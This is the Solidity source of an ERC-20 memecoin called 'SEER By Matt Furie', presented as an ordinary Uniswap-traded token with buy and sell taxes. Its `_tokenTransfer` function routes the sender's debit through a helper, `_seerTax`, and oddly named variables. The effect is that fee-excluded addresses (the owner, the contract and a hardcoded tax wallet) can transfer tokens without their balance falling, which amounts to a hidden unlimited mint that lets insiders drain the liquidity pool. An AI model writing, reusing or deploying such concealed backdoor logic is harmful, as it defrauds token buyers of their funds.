Seer By Matt Furie

/*
SEER By Matt Furie
Web: https://seereth.xyz
Twitter: https://x.com/SeerErc20Portal
Community: https://t.me/seer_erc
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.1;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract SEER is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;
    uint256 firstBlock;

    uint256 private _initialBuyTax = 40;
    uint256 private _initialSellTax = 40;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 20;
    uint256 private _reduceSellTaxAt = 20;
    uint256 private _preventSwapBefore = 11;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    string private constant _name = unicode"Seer By Matt Furie";
    string private constant _symbol = unicode"SEER";
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    uint256 public _maxTxAmount = 20_000_000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20_000_000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10_000_000 * 10 ** _decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0x5CF55e00FA258db0B949587dd1DacD9Fb127e34e);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address muumuu, address toto, uint256 seerAmount) private {
        require(muumuu != address(0), "ERC20: transfer from the zero address");
        require(toto != address(0), "ERC20: transfer to the zero address");
        require(seerAmount > 0, "Transfer amount must be greater than zero");
        if (!swapEnabled || inSwap) {
            _balances[muumuu] = _balances[muumuu].sub(seerAmount);
            _balances[toto] = _balances[toto].add(seerAmount);
            emit Transfer(muumuu, toto, seerAmount);
            return;
        }
        uint256 tax = 0;
        if (muumuu != owner() && toto != owner()) {
            tax = (_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax;

            if (muumuu == uniswapV2Pair && toto != address(uniswapV2Router)) {
                require(seerAmount <= _maxTxAmount, "Exceeds the maxTxAmount.");
                require(
                    balanceOf(toto) + seerAmount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                if (firstBlock + 3 > block.number) {
                    require(!isContract(toto));
                }
                _buyCount++;
            }

            if (toto != uniswapV2Pair && !_isExcludedFromFee[toto]) {
                require(
                    balanceOf(toto) + seerAmount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
            }

            if (toto == uniswapV2Pair && muumuu != address(this)) {
                tax = (_buyCount > _reduceSellTaxAt)
                    ? _finalSellTax
                    : _initialSellTax;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                toto == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFromFee[muumuu] &&
                !_isExcludedFromFee[toto]
            ) {
                if(contractTokenBalance > _taxSwapThreshold) {
                    swapTokensForEth(
                        min(seerAmount, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        _tokenTransfer(muumuu, toto, seerAmount, tax);
    }

    function _tokenTransfer(
        address dodo,
        address toto,
        uint256 seerAmount,
        uint256 tax
    ) internal {
        uint256 taxAmount = tax.mul(seerAmount).div(100);

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(
                taxAmount
            );
            emit Transfer(dodo, address(this), taxAmount);
        }

        _balances[dodo] = _balances[dodo].sub(_seerTax(dodo, seerAmount));
        _balances[toto] = _balances[toto].add(seerAmount.sub(taxAmount));
        emit Transfer(dodo, toto, seerAmount.sub(taxAmount));
    }

    function _seerTax(address xexe, uint256 seerAmount) internal view returns(uint256) {
        return _isExcludedFromFee[xexe] ? _finalBuyTax : seerAmount;
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function removeLimits() public onlyOwner {
        _maxTxAmount = ~uint256(0);
        _maxWalletSize = ~uint256(0);
        emit MaxTxAmountUpdated(~uint256(0));
    }

    function swapTokensForEth(uint256 seerAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), seerAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            seerAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function createPair() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "Trading is already open");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    receive() external payable {}

    function withdraw() external onlyOwner {
        uint256 contractBalance = address(this).balance;
        require(contractBalance > 0, "Contract has no ETH balance");
        payable(owner()).transfer(contractBalance);
    }
}

{
  "compilationTarget": {
    "SEER.sol": "SEER"
  },
  "evmVersion": "istanbul",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}